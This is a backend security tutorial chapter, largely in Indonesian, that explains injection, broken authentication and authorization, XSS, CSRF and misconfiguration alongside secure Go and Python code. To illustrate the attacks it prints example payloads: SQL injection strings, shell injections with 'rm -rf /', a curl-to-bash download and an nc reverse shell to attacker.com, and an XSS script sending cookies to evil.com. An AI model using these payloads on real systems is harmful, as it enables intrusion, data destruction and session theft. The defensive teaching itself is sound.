A detailed backend reference

Keamanan Backend

Keamanan bukan fitur yang Anda baut di akhir, ia pola pikir yang Anda bawa ke setiap baris kode. Bab ini mencakup kelas serangan paling berdampak yang akan dihadapi engineer backend: serangan injeksi, autentikasi rusak, otorisasi rusak, XSS, CSRF, dan salah konfigurasi, beserta model mental dan kode untuk mencegah semuanya.

01

Pola Pikir Keamanan: Berpikir Seperti Penyerang

"Penyerang tidak peduli framework atau bahasa Anda. Mereka hanya bertanya satu hal: di mana developer membuat asumsi?"

Setiap kerentanan signifikan dalam sejarah perangkat lunak menelusuri kembali ke developer yang mengasumsikan sesuatu yang dilanggar penyerang:

  • Mengasumsikan input yang datang dari pengguna akan bersih dan berbentuk baik.
  • Mengasumsikan pengguna adalah siapa yang ia klaim.
  • Mengasumsikan request datang dari frontend Anda sendiri.
  • Mengasumsikan tidak ada yang akan membuka tab network browser dan memodifikasi parameter.

Asumsi ini terasa masuk akal di bawah tekanan tenggat, Anda selalu berpikir di happy path. Penyerang mengeksploitasi unhappy paths. Mereka menyodok setiap batas, memodifikasi setiap input, dan mencoba menebak setiap asumsi yang Anda buat.

The goal of this chapter is to make you paranoid: in a productive way. Every time you write code, ask: "What could go wrong here? What am I assuming? What if that assumption is wrong?"

Akar Penyebab Hampir Setiap Serangan

Aplikasi backend Anda berbicara banyak bahasa sekaligus: SQL ke database, HTML/JS ke browser, perintah shell ke OS. Setiap bahasa punya tatabahasanya sendiri, karakter khususnya sendiri, caranya sendiri memisahkan perintah dari data.

Your Backend speaks 3+ languages Database language: SQL Browser language: HTML/JS OS / Shell language: Shell Vulnerability: user input in one language bleeds into another
Fig 1: Your backend speaks multiple languages. Every boundary crossing is a potential injection point.

Serangan injeksi terjadi saat data pengguna (yang hidup di satu bahasa) merembes ke konteks bahasa lain dan ditafsirkan sebagai perintah alih-alih data. Satu wawasan ini menjelaskan SQL injection, command injection, XSS, dan lainnya.

02

Ringkasan Kerentanan

SQL Injection

Input pengguna merembes ke query SQL. Penyerang bisa membaca semua data, menghapus tabel, atau menjalankan perintah OS lewat DB.

Command Injection

Input pengguna merembes ke perintah shell. Penyerang bisa menjalankan rm -rf / atau memasang spyware di server Anda.

XSS

Konten pengguna disimpan sebagai HTML. Skrip jahat berjalan di browser pengguna lain, mencuri sesi, mengarahkan, phishing.

Broken Auth

Kata sandi teks polos, hashing lemah, session ID bisa diprediksi, tanpa rate limit, penyerang mengambil alih akun.

Broken AuthZ (BOLA/BFLA)

Cek auth di lapisan routing tapi tidak di lapisan DB. User A membaca invoice User B. Member mengakses API admin.

CSRF / Misconfig

Pengiriman form lintas-situs menipu server. Secret di git, log debug di produksi, flag cookie salah.

03

SQL Injection

SQL injection telah menjadi kerentanan paling destruktif nomor satu selama puluhan tahun. Ia bekerja karena developer membangun query SQL dengan penggabungan string: menjatuhkan input pengguna mentah langsung ke template query.

Serangannya: Langkah demi Langkah

Anggap query login yang dibangun dengan penggabungan:

SQL / Vulnerable (Never Do This)-- Template on server:
SELECT * FROM users WHERE email = '' + userInput + ''

-- Happy path (Alice logs in normally):
SELECT * FROM users WHERE email = 'alice@gmail.com'
-- Returns Alice's row 

-- Attacker types:  ' OR '1'='1 --
SELECT * FROM users WHERE email = '' OR '1'='1' --'
-- Returns ALL users <- data leak

-- Attacker types:  '; DROP TABLE users; --
SELECT * FROM users WHERE email = ''; DROP TABLE users; --'
-- Deletes your entire users table
Attacker Input ' OR '1'='1 -- '; DROP TABLE users;-- string concat SQL Template WHERE email = '' OR '1'='1' -- <- code! data treated as code parameterised Parameterised WHERE email = $1 args: ["' OR '1'='1"] treated purely as string
Fig 2: String concatenation confuses code and data. Parameterised queries separate them permanently.

Cara Karakter SQL Khusus Memungkinkan Serangan

Karakter Makna di SQL Cara Penyerang Memakainya
' Pembatas string Menutup string literal yang ada, kabur dari konteks data
; Pemisah pernyataan Mengakhiri query sah; memulai yang jahat baru
-- Komentar baris Mengomentari sisa query asli (tanda ' di belakangnya)
OR Operator logika Membuat kondisi selalu-benar untuk melewati filter WHERE
UNION Menggabungkan set hasil Mengekstrak data dari tabel lain (pembayaran, secret)

Perbaikannya: Query Berparameter

Alih-alih membangun satu string dengan semuanya dicampur, kirim dua hal terpisah ke database: (1) template query dengan slot placeholder, (2) data pengguna sebagai argumen terpisah. Driver database menjamin apa pun yang masuk ke slot diperlakukan sebagai string murni, tidak pernah sebagai SQL yang bisa dieksekusi.

Go / pgx parameterised query//NEVER, string concatenation
query := "SELECT * FROM users WHERE email = '" + userInput + "'"

// ALWAYS, parameterised ($1 is the slot)
row := db.QueryRow(ctx,
    "SELECT id, name FROM users WHERE email = $1",
    userInput,  // passed separately, treated purely as data
)

// With an ORM (GORM), parameterised automatically
db.Where("email = ?", userInput).First(&user)
Every modern ORM (GORM, SQLAlchemy, Prisma, Hibernate) uses parameterised queries by default. The only way to be vulnerable today is to deliberately bypass them with raw string building. Never do that.

Pengerasan Tambahan: Izin DB Minimal

Bahkan jika SQL injection berhasil, Anda bisa membatasi radius ledakannya. User database yang dipakai backend Anda untuk terhubung seharusnya hanya punya izin DML (INSERT, UPDATE, DELETE, SELECT), jangan pernah izin DDL (DROP TABLE, CREATE TABLE, ALTER). Peretas yang mendapat SQL injection tidak bisa menghapus tabel Anda jika user DB tidak bisa mengeksekusi DDL.

NoSQL Injection (MongoDB)

Query MongoDB adalah objek JSON, bukan string SQL. Tapi mereka mendukung operator (berawalan $) seperti $ne (not equal), $gt, $exists. Jika Anda meneruskan JSON mentah dari pengguna langsung ke query, penyerang bisa menyuntikkan operator ini:

JavaScript / MongoDB Injection//VULNERABLE: attacker sends {"$ne": null} as email
db.users.find({ email: req.body.email })
// Becomes: { email: { $ne: null } }  -> returns ALL users

// FIX: validate that email is a plain string, not an object
if (typeof req.body.email !== 'string') {
  return res.status(400).json({ error: 'Invalid email' })
}
db.users.find({ email: req.body.email })
04

Command Injection

Command injection adalah SQL injection di level OS. Backend Anda kadang perlu memanggil program eksternal (pemrosesan gambar dengan FFmpeg, kompresi file, generasi PDF). Jika Anda membangun perintah shell dengan menggabungkan input pengguna, penyerang bisa menyuntikkan perintah shell ke server Anda.

Serangannya

Shell / Vulnerable Image Resize# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /"
ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf /
#                                       ^ ffmpeg done  ^ now this runs

# Attacker can also use:
# out.jpg && curl evil.com/malware.sh | bash    (install backdoor)
# out.jpg & nc -e /bin/sh attacker.com 4444 &   (reverse shell in background)

Karakter khusus shell yang memungkinkan ini:

Karakter Makna Shell Pemakaian Serangan
; Memisahkan perintah Menjalankan perintah kedua setelah yang pertama
&& Jalankan jika sebelumnya sukses Merantai eksploit setelah perintah sah
| Pipe output Memberi makan output ke perintah destruktif
& Jalankan di latar Memasang spyware persisten diam-diam
$() Substitusi perintah Mengeksekusi perintah arbitrer inline

Perbaikannya: Pisahkan Perintah dari Argumen

Setiap bahasa menyediakan fungsi yang menerima perintah dan argumen sebagai parameter terpisah. Ini meneruskan argumen langsung ke proses tanpa melewati interpreter shell, jadi karakter khusus tidak pernah ditafsirkan.

Go / exec.Command (safe)import "os/exec"

//VULNERABLE, passes through shell interpreter
cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename)

// SAFE, command and each argument are separate params
// Shell never sees userFilename, it goes straight to the process
cmd := exec.Command(
    "ffmpeg",
    "-i", "input.jpg",
    "-vf", "scale=800:600",
    userFilename,   // treated as a string argument, not shell code
)
output, err := cmd.Output()
Python / subprocess (safe)import subprocess

#VULNERABLE, shell=True sends everything through sh
subprocess.run(f"ffmpeg -i input.jpg -o {user_filename}", shell=True)

# SAFE, list form, shell=False (default)
subprocess.run([
    "ffmpeg", "-i", "input.jpg",
    "-vf", "scale=800:600",
    user_filename   # just a string, not interpreted
], check=True)
The rule: never pass user input into a shell-interpreted string. Whenever you're building a string that will be executed by another system and it includes user input, stop and find the parameterised alternative. It almost always exists.
05

Penyimpanan Kata Sandi: Tiga Evolusi

Database dibobol setiap hari. Saat itu terjadi, cara Anda menyimpan kata sandi menentukan apakah hidup pengguna Anda hancur atau tidak.

(1) Plain Text pass_col = "12345" Breach -> instant pwn Devs can see all passwords (2) Hashing Only SHA256("12345") Vulnerable to rainbow table attacks (3) Slow Hash + Salt argon2id("12345" + salt_u14) Rainbow tables useless Brute force: centuries not days
Fig 3: Password storage evolution. Only option (3) is acceptable in production.

Kenapa Teks Polos Gagal

Setiap pembobolan database mengekspos semua kata sandi seketika. Lebih parah: lebih dari 70% pengguna memakai ulang kata sandi lintas situs, jadi satu pembobolan memberi penyerang kunci ke akun email, perbankan, dan media sosial yang bahkan tidak mereka targetkan.

Kenapa Hashing Saja Tidak Cukup

Penyerang menghitung di muka rainbow table: tabel pencarian raksasa yang memetakan kata sandi umum (seperti "123456", "password", "qwerty") ke hash-nya. Jika hash Anda cocok dengan entri rainbow table, mereka menemukan teks polosnya seketika. GPU bisa menghitung miliaran hash SHA-256 per detik.

Salting: Mengalahkan Rainbow Table

Salt adalah string acak kriptografis yang dibuat unik untuk tiap pengguna. Anda menggabungkan salt dengan kata sandi sebelum hashing. Karena salt tiap pengguna berbeda, bahkan dua pengguna dengan kata sandi sama menghasilkan hash yang sepenuhnya berbeda. Rainbow table jadi sia-sia, mereka butuh tabel baru per pengguna.

Hashing Lambat: Mengalahkan Brute Force

Fungsi hash serbaguna (SHA-256, MD5) dirancang cepat. GPU bisa melakukan miliaran per detik. Algoritma hashing kata sandi (bcrypt, scrypt, Argon2id) sengaja lambat lewat cost/work factor yang bisa dikonfigurasi. Di 400ms per hash:

  • Pengguna sah yang login: 400ms, tak terasa, sama sekali baik.
  • Penyerang brute-force offline: 400ms per percobaan -> ±2,5 percobaan/detik alih-alih miliaran -> pemecahan butuh berabad-abad.
Industry standard today: use Argon2id (winner of the Password Hashing Competition). Fallback: bcrypt with cost factor >=12. Never use SHA-256, MD5, or SHA-1 for passwords.
Go / Argon2id (golang.org/x/crypto)import (
    "crypto/rand"
    "golang.org/x/crypto/argon2"
    "encoding/base64"
)

func HashPassword(password string) (string, error) {
    // Generate cryptographically random 16-byte salt
    salt := make([]byte, 16)
    rand.Read(salt)

    // Argon2id params: time=1, memory=64MB, threads=4, keyLen=32
    hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)

    // Store: $argon2id$salt$hash (both needed to verify)
    encoded := base64.RawStdEncoding.EncodeToString(salt) +
               "$" + base64.RawStdEncoding.EncodeToString(hash)
    return encoded, nil
}

func VerifyPassword(password, stored string) bool {
    // Re-hash with stored salt, compare, never compare raw hashes with ==
    parts := strings.Split(stored, "$")
    salt, _ := base64.RawStdEncoding.DecodeString(parts[0])
    newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)
    return subtle.ConstantTimeCompare(newHash,
        mustDecode(parts[1])) == 1
}
06

Sesi, Cookie & Flag Kritis

Setelah pengguna terautentikasi, Anda perlu mengingatnya lintas request. Ini dilakukan lewat sesi: pengidentifikasi acak yang disimpan sisi server, ditautkan ke data pengguna, dikirim ke browser sebagai cookie.

Alur Sesi

  1. Pengguna mengirim email + kata sandi.
  2. Server memverifikasi kata sandi (cocok hash argon2id).
  3. Server membuat session ID acak kriptografis 128-256 bit.
  4. Server menyimpan session ID di Redis/DB dengan metadata pengguna (user ID, IP, user-agent, kedaluwarsa, created_at).
  5. Server mengirim session ID ke browser dalam cookie dengan flag keamanan ketat.
  6. Setiap request berikutnya: browser mengirim cookie -> server mencari session ID -> mengidentifikasi pengguna.

Tiga Flag Cookie Kritis

Flag Nilai Fungsinya Tanpa Itu
HttpOnly true JS tidak bisa membaca cookie ini XSS mencuri session ID via document.cookie
Secure true Cookie hanya dikirim lewat HTTPS Sesi dicuri penyadap Wi-Fi atau Wireshark
SameSite Strict atau Lax Cookie tidak dikirim di request lintas-origin Serangan CSRF bisa memakai cookie Anda dari evil.com
Go / Secure Cookiehttp.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    sessionID,
    HttpOnly: true,          // JS cannot access
    Secure:   true,           // HTTPS only
    SameSite: http.SameSiteStrictMode,  // no cross-site
    MaxAge:   7 * 24 * 3600, // 7 days
    Path:     "/",
})
Never store session IDs or JWT tokens in localStorage. LocalStorage is accessible by any JavaScript on the page. One XSS vulnerability = all sessions stolen. Always use HttpOnly cookies.
07

JWT: Autentikasi Stateless

JWT (JSON Web Token) alternatif dari sesi sisi server. Alih-alih menyimpan data sesi di DB dan mengirim hanya ID ke klien, JWT memuat data sesi, ditandatangani kriptografis sehingga tidak bisa dirusak.

Struktur JWT

Header alg: HS256, typ: JWT . Payload (Claims) sub: user_id, iat, exp, role: "admin" . Signature HMAC(header+payload, secret)
Fig 4: JWT: three Base64-encoded parts joined by dots. Payload is readable, but tamper-proof via signature.
The payload is NOT encrypted, only signed. It is Base64-encoded, which anyone can decode. Never store sensitive data (passwords, PII, credit card numbers) in JWT claims. Only store what the server needs (user ID, role), and what's safe if exposed.

JWT vs Sesi: Kapan Memakai yang Mana

Sesi (Ber-State) Dipilih

  • Pencabutan instan, hapus baris sesinya
  • Tanpa data terekspos ke klien
  • Arsitektur lebih sederhana untuk kebanyakan SaaS
  • Skalabel dengan Redis (session store bersama)
  • Direkomendasikan kebanyakan ahli keamanan

JWT (Stateless)

  • Tanpa pencarian DB per request (lebih cepat di skala)
  • Pencabutan sulit, butuh blacklist atau kedaluwarsa pendek
  • Jika akun dikompromikan, tidak bisa paksa logout seketika
  • Solusi: kedaluwarsa pendek (5-10 menit) + refresh token
  • Pakai hanya jika stateless persyaratan keras

Jika Harus Pakai JWT: Praktik Terbaik

  • Kedaluwarsa access token pendek: 5-15 menit. Token berumur panjang adalah token curian yang tidak pernah kedaluwarsa.
  • Rotasi refresh token: terbitkan pasangan access + refresh token baru di tiap refresh. Disimpan sisi server.
  • Penyimpanan cookie HttpOnly: bukan localStorage. XSS tidak bisa mencuri yang tidak bisa dibaca JS.
  • Secret kuat: secret acak >=256-bit untuk penandatanganan HMAC. Putar secara berkala.
  • Verifikasi di setiap request: jangan percaya JWT hanya karena berbentuk baik. Selalu verifikasi tanda tangannya.
08

Rate Limiting Endpoint Autentikasi

Tanpa rate limiting, penyerang bisa mengirim jutaan percobaan login per detik, entah untuk brute-force kata sandi atau merobohkan server Anda (DoS). Rate limiting wajib di semua endpoint auth.

Tiga Lapisan Rate Limiting

Layer 1: Per-IP 10 attempts / minute Bypassed by botnets / rotating IPs Layer 2: Per-Account 5 failures -> lock 24h Bypassed by password spray Layer 3: Global 100 failures / min system-wide Alert + CAPTCHA all users Password Spray Attack Try one common password ("123456") across millions of accounts -> avoids per-account lockout. Only global rate limiting catches this.
Fig 5: Three-layer rate limiting: each layer catches attacks that bypass the previous one.
Go / Rate Limiting with golang.org/x/time/rateimport (
    "golang.org/x/time/rate"
    "sync"
    "net/http"
)

var (
    mu       sync.Mutex
    limiters = map[string]*rate.Limiter{}
)

// Per-IP limiter: 5 requests per second, burst of 10
func getIPLimiter(ip string) *rate.Limiter {
    mu.Lock()
    defer mu.Unlock()
    l, ok := limiters[ip]
    if !ok {
        l = rate.NewLimiter(5, 10)
        limiters[ip] = l
    }
    return l
}

func RateLimitMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ip := r.RemoteAddr
        if !getIPLimiter(ip).Allow() {
            http.Error(w, "too many requests", http.StatusTooManyRequests)
            return
        }
        next.ServeHTTP(w, r)
    })
}
09

Kerentanan Otorisasi: BOLA & BFLA

"Autentikasi memberi tahu Anda siapa penggunanya. Otorisasi memberi tahu apa yang boleh mereka lakukan. Kebanyakan engineer mengerjakan autentikasi dengan benar dan otorisasi dengan salah."

Kesalahan Inti

Otorisasi diperiksa di lapisan routing (middleware). Engineer lalu berasumsi: "pengguna lolos auth, jadi mereka bisa mengakses apa pun dari sini." Ini menciptakan rasa aman palsu yang berbahaya.

Router Auth Middleware authenticated Handler Service Repository <- SELECT * WHERE id=5 VULNERABLE No user ownership check Any user can fetch any ID WHERE id=5 AND user_id=$ctx
Fig 6: Auth checks at routing layer don't protect data at the DB layer. Add ownership checks in the query.

(1) BOLA: Broken Object Level Authorization

(Juga disebut IDOR, Insecure Direct Object Reference)

User A bisa mengakses, memodifikasi, atau menghapus resource User B dengan menebak atau mengiterasi ID mereka.

SQL / BOLA Fix--VULNERABLE: fetches invoice 5 regardless of who is asking
SELECT * FROM invoices WHERE id = $1

-- FIXED: also requires the invoice to belong to the requesting user
SELECT * FROM invoices
WHERE  id = $1
  AND  user_id = $2    -- $2 comes from the verified session/JWT, not user input

-- If no row: return 404 (not 403)
-- Why 404? A 403 CONFIRMS the resource exists -> information leak
-- A 404 gives the attacker no information -> is it missing, or forbidden?
Return 404 Not Found (not 403 Forbidden) when a user requests a resource they don't own. A 403 tells the attacker "this exists, but you can't have it", confirming the resource's existence enables further attacks (enumeration, social engineering).

(2) BFLA: Broken Function Level Authorization

Pengguna biasa mengakses endpoint khusus-admin karena cek role hilang di lapisan routing. Percaya "tidak ada yang tahu URL /admin" adalah security through obscurity: yang sama sekali bukan keamanan.

Go / Role Middlewarefunc RequireRole(role string) func(http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            user, ok := r.Context().Value("user").(User)
            if !ok || user.Role != role {
                http.Error(w, "forbidden", http.StatusForbidden)
                return
            }
            next.ServeHTTP(w, r)
        })
    }
}

// Router setup
r.With(RequireAuth, RequireRole("admin")).
  Get("/admin/invoices", adminInvoicesHandler)

Model Mental Horizontal vs Vertikal

Serangan Horizontal (BOLA)

  • User A membaca/mengedit resource User B
  • Cakupan melebar lintas pengguna
  • Perbaikan: tambah AND userid = $ctxuser ke setiap query
  • Kembalikan 404, bukan 403

Serangan Vertikal (BFLA)

  • Pengguna biasa mengakses fungsi admin
  • Cakupan menaik tingkat hak istimewa
  • Perbaikan: role middleware di setiap route sensitif
  • Default-deny: tolak apa pun yang tidak diizinkan eksplisit

Pakai UUID, Bukan ID Berurutan, di URL

ID berurutan (/invoices/101, /invoices/102) membuat penyerang menghitung semua resource. UUID seperti /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 efektif tak tertebak, 2^122 nilai mungkin. Pakai UUID sebagai primary key di tabel mana pun yang record-nya terekspos di URL.

10

Cross-Site Scripting (XSS)

XSS terjadi saat JavaScript penyerang berjalan di browser pengguna lain, dalam konteks platform Anda. Ia injeksi, tapi targetnya mesin HTML/JS browser alih-alih database.

Kenapa XSS Berbahaya

JavaScript yang berjalan dalam konteks platform Anda bisa:

  • Membaca semua document.cookie (session token yang tidak dilindungi HttpOnly).
  • Membaca localStorage (token JWT, API key).
  • Membuat request API sebagai pengguna yang login (penyamaran).
  • Mengarahkan pengguna ke halaman phishing untuk mencuri kredensial.
  • Mengubah konten halaman untuk menipu pengguna (form login palsu, alert palsu).

Stored XSS: Jenis Paling Berbahaya

Seorang pengguna mengirim komentar/post berisi tag <script>. Server Anda menyimpannya. Setiap pengguna yang melihat post itu menjalankan skrip di browser mereka.

Stored XSS Attack<!-- Attacker submits this as a "comment" -->
<script>
  // Steal session cookie and send to attacker's server
  fetch('https://evil.com/steal?c=' + document.cookie);

  // Or silently redirect to phishing page
  window.location = 'https://evil.com/fake-login';
</script>

<!-- This script is stored in your DB and injected into every user's browser -->

Pencegahan: Sanitasi Sebelum Menyimpan

Sebelum menyimpan HTML/markdown apa pun dari pengguna, buang tag dan atribut berbahaya. Pakai library yang teruji; jangan pernah menulis sanitiser sendiri.

Python / bleach sanitisationimport bleach

ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
ALLOWED_ATTRS = {'a': ['href']}

def sanitise_comment(raw_html: str) -> str:
    # Strip ALL tags not in allow-list, strip dangerous attributes
    return bleach.clean(
        raw_html,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRS,
        strip=True  # strip disallowed, don't escape
    )

# <script>...</script> -> stripped entirely
# <b>bold</b> -> kept
# <img onerror="..."> -> attribute stripped

Content Security Policy (CSP): Garis Pertahanan Terakhir

CSP adalah header respons HTTP yang memberi tahu browser persis skrip mana yang diizinkan berjalan. Bahkan jika penyerang menyuntikkan tag <script>, browser memblokirnya jika melanggar kebijakan.

HTTP Header / CSP# Only load scripts from your own domain. Block all inline scripts.
Content-Security-Policy: default-src 'self';
                         script-src 'self';
                         object-src 'none';
                         base-uri 'self'
CSP is a safety net, not a substitute for sanitisation. Fix the root cause first (sanitise input), then add CSP as a defence-in-depth layer.
11

CSRF: Cross-Site Request Forgery

CSRF mengeksploitasi fakta bahwa browser otomatis menempelkan cookie ke request, bahkan saat request berasal dari situs web berbeda. Penyerang di evil.com bisa memicu request ke bank.com dan browser Anda menyertakan cookie sesi bank.com Anda.

CSRF is largely a solved problem in modern stacks. As long as you set SameSite=Strict or SameSite=Lax on your session cookie (which browsers default to Lax), and you configure CORS properly, you are protected. This section covers the theory for legacy systems.

Mitigasi

  • Flag cookie SameSite: Strict atau Lax memblokir cookie dari request lintas-origin. Browser modern default Lax.
  • Konfigurasi CORS: hanya izinkan request dari domain frontend Anda sendiri.
  • Token CSRF: untuk sistem berbasis form lama: sematkan token unik di setiap form, verifikasi sisi server.
12

Salah Konfigurasi: Lubang Keamanan yang Anda Buat Sendiri

(1) Secret di Version Control

Kesalahan paling umum yang katastrofal: API key, kata sandi database, JWT secret, atau kunci enkripsi di-commit ke Git. Begitu di riwayat commit, memutar secret di kode tidak membantu, nilai lama permanen di git log.

If you accidentally commit a secret to Git, immediately rotate/revoke it. Deleting the file in a new commit does not remove it from history. Assume the secret is compromised the moment it touched a remote repository.
Shell / Pre-commit hook with gitleaks# Install: brew install gitleaks
# .git/hooks/pre-commit
gitleaks protect --staged --no-git -v
# Blocks commit if API keys, passwords, tokens detected in staged files

(2) Log Debug/Verbose di Produksi

Di pengembangan, log level biasanya DEBUG, stack trace penuh, query SQL, body request. Di produksi harus INFO atau WARN. Log debug di produksi mengekspos:

  • Nama tabel, nama kolom, struktur query -> memungkinkan SQL injection tertarget.
  • Path file dan nama fungsi -> membocorkan struktur codebase.
  • PII pengguna yang tak sengaja di-log -> pelanggaran GDPR + liabilitas breach.
Go / Environment-aware log levelimport "log/slog"

func setupLogger() {
    level := slog.LevelInfo  // default: production
    if os.Getenv("APP_ENV") == "development" {
        level = slog.LevelDebug
    }
    slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout,
        &slog.HandlerOptions{Level: level})))
}

(3) Header Keamanan

Satu panggilan middleware menambah semua header keamanan standar industri. Setiap framework besar punya satu:

Header Tujuan
Content-Security-Policy Mengendalikan skrip/resource mana yang boleh berjalan (mencegah XSS)
X-Frame-Options: DENY Mencegah penyematan di iframe (mencegah clickjacking)
X-Content-Type-Options: nosniff Mencegah serangan MIME-type sniffing
Strict-Transport-Security Memaksa HTTPS, mencegah SSL stripping
Referrer-Policy Mengendalikan seberapa banyak info referrer yang dikirim lintas-origin
Go / Secure Headers Middleware (chi/middleware)import "github.com/go-chi/chi/v5/middleware"

r.Use(middleware.SetHeader("X-Frame-Options", "DENY"))
r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff"))
r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin"))
r.Use(middleware.SetHeader(
    "Strict-Transport-Security",
    "max-age=63072000; includeSubDomains; preload"))
r.Use(middleware.SetHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self'; object-src 'none'"))
13

Pertahanan Berlapis: Tidak Ada Satu Lapisan yang Cukup

"Tidak ada satu pertahanan yang sempurna. Bangun berlapis. Penyerang harus melewati semuanya serentak, yang secara eksponensial lebih sulit."
Core Logic Input Validation Parameterised Ops AuthN / AuthZ Rate Limiting Security Headers + CSP Monitoring + Audit Logs
Fig 7: Defence in depth: attacker must break through every layer to reach your core business logic.

Tiga Pertanyaan untuk Ditanyakan di Setiap Batas

  1. Di mana data menyeberangi batas? (User -> SQL, User -> Shell, User -> HTML)
  2. Apa yang saya asumsikan tentang data ini? (Bersih? Email valid? Aman?)
  3. Bagaimana jika asumsi itu salah? (Apa untung penyerang jika melanggar asumsi ini?)

Jika Anda menanyakan tiga pertanyaan ini untuk setiap kode yang menangani input pengguna, Anda akan menghindari 99% kerentanan yang memecah sistem produksi nyata.

14

Go: Referensi Pola Aman

Endpoint Login Aman Lengkap

Gofunc loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        var req struct {
            Email    string `json:"email"`
            Password string `json:"password"`
        }
        json.NewDecoder(r.Body).Decode(&req)

        // 1. Validate format (first line of defence)
        if !isValidEmail(req.Email) || len(req.Password) < 8 {
            http.Error(w, "invalid credentials", 400)
            return
        }

        // 2. Parameterised query, no SQL injection possible
        var userID string
        var hashedPass string
        err := db.QueryRow(ctx,
            "SELECT id, password_hash FROM users WHERE email = $1",
            req.Email).Scan(&userID, &hashedPass)

        // 3. Generic error, never reveal whether email exists
        if err != nil || !verifyArgon2(req.Password, hashedPass) {
            http.Error(w, "invalid email or password", 401)
            return
        }

        // 4. Cryptographically secure session ID
        sessionID := generateSecureToken(32)

        // 5. Store session in Redis with metadata
        redis.Set(ctx, "session:"+sessionID,
            userID, 7*24*time.Hour)

        // 6. Secure cookie, HttpOnly, Secure, SameSite=Strict
        http.SetCookie(w, &http.Cookie{
            Name: "session_id", Value: sessionID,
            HttpOnly: true, Secure: true,
            SameSite: http.SameSiteStrictMode,
            MaxAge: 7 * 24 * 3600,
        })
        w.WriteHeader(http.StatusOK)
    }
}

func generateSecureToken(n int) string {
    b := make([]byte, n)
    rand.Read(b) // crypto/rand, not math/rand
    return base64.URLEncoding.EncodeToString(b)
}
15

Python: Referensi Pola Aman

Python / FastAPI Secure Authfrom fastapi import FastAPI, HTTPException, Response
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
import secrets

ph = PasswordHasher(time_cost=1, memory_cost=65536, parallelism=4)

@app.post("/login")
async def login(email: str, password: str, response: Response):
    # 1. Parameterised query (psycopg2 / asyncpg)
    row = await db.fetchrow(
        "SELECT id, password_hash FROM users WHERE email = $1", email
    )

    # 2. Constant-time verify. Generic error always.
    valid = False
    if row:
        try:
            ph.verify(row["password_hash"], password)
            valid = True
        except VerifyMismatchError:
            pass

    if not valid:
        raise HTTPException(401, "invalid email or password")

    # 3. Cryptographically secure session token (32 bytes = 256 bits)
    session_id = secrets.token_urlsafe(32)
    await redis.set(f"session:{session_id}", row["id"], ex=604800)

    # 4. HttpOnly + Secure + SameSite cookie
    response.set_cookie(
        key="session_id", value=session_id,
        httponly=True, secure=True,
        samesite="strict", max_age=604800
    )
    return {"status": "ok"}
Python / BOLA-safe DB queryasync def get_invoice(invoice_id: int, current_user_id: int):
    # ownership check IN the query, not after
    row = await db.fetchrow(
        "SELECT * FROM invoices WHERE id=$1 AND user_id=$2",
        invoice_id, current_user_id
    )
    if not row:
        # 404, not 403. Don't confirm the invoice exists.
        raise HTTPException(404, "invoice not found")
    return row
16

OAuth 2.0 & OIDC: Autentikasi yang Didelegasikan

OAuth 2.0 adalah framework otorisasi yang memungkinkan aplikasi pihak ketiga memperoleh akses terbatas ke akun pengguna di layanan lain, tanpa pernah melihat kata sandi pengguna. OpenID Connect (OIDC) lapisan identitas tipis di atas OAuth 2.0 yang menambah autentikasi (siapa penggunanya ini), bukan hanya otorisasi (apa yang bisa mereka lakukan).

"Sign in with Google" adalah OIDC. "Izinkan aplikasi ini membaca Google Drive Anda" adalah OAuth 2.0. Dalam praktik, penyedia auth modern (Clerk, Auth0) menggabungkan keduanya.

Empat Peran

Peran Siapa Contoh
Resource Owner Penggunanya Alice
Client Aplikasi Anda YourSaaS.com
Authorization Server Menerbitkan token setelah persetujuan Google, GitHub, Auth0
Resource Server API yang memegang data pengguna Google Calendar API

Authorization Code Flow: Standar yang Aman

Ini alur yang dipakai setiap aplikasi web serius. Ia menjaga token keluar dari bar URL browser dan menukar code berumur pendek dengan token di sisi server.

Browser / User Your Backend Auth Server (Google) (1) Click "Sign in with Google" (2) Redirect to Google + state + code_challenge (3) Browser navigates to Google login + consent screen (4) Google redirects back with authorization_code (5) Browser sends code to your backend callback (6) Backend exchanges code -> access_token + id_token (server-to-server, never touches browser) (7) Google returns tokens + user info (sub, email) (8) Backend creates session -> sets HttpOnly cookie PKCE, Proof Key for Code Exchange client generates code_verifier (random) -> hashes it to code_challenge -> sent in step (2) Google checks verifier in step (6) -> prevents authorization code interception attacks
Fig A: OAuth 2.0 Authorization Code Flow with PKCE. Steps (6)-(7) are server-to-server, tokens never touch the browser URL bar.

Aturan Keamanan Kunci untuk OAuth

  • Selalu pakai PKCE: bahkan untuk aplikasi sisi server. Ia mencegah serangan intersepsi code tempat penyerang mencegat code dari URL redirect.
  • Validasi parameter state: buat nilai acak, simpan di sesi sebelum redirect, verifikasi saat Google mengarahkan kembali. Ini mencegah CSRF pada alur OAuth itu sendiri.
  • Jangan pernah mengekspos access_token ke browser: tukar code di sisi server dan terbitkan session cookie Anda sendiri. Access token adalah kredensial; perlakukan seperti kata sandi.
  • Tautkan OAuth ke akun yang ada via email dengan hati-hati: jika pengguna sudah punya akun email+kata sandi dan login via Google dengan email yang sama, Anda harus memutuskan: auto-link (nyaman, risiko kecil) atau wajib konfirmasi. Auto-link tanpa verifikasi memungkinkan pengambilalihan akun jika penyedia OAuth dikompromikan.
  • Verifikasi klaim aud (audience) di idtoken, memastikan token diterbitkan untuk aplikasi Anda_, bukan klien OAuth lain yang memakai penyedia yang sama.

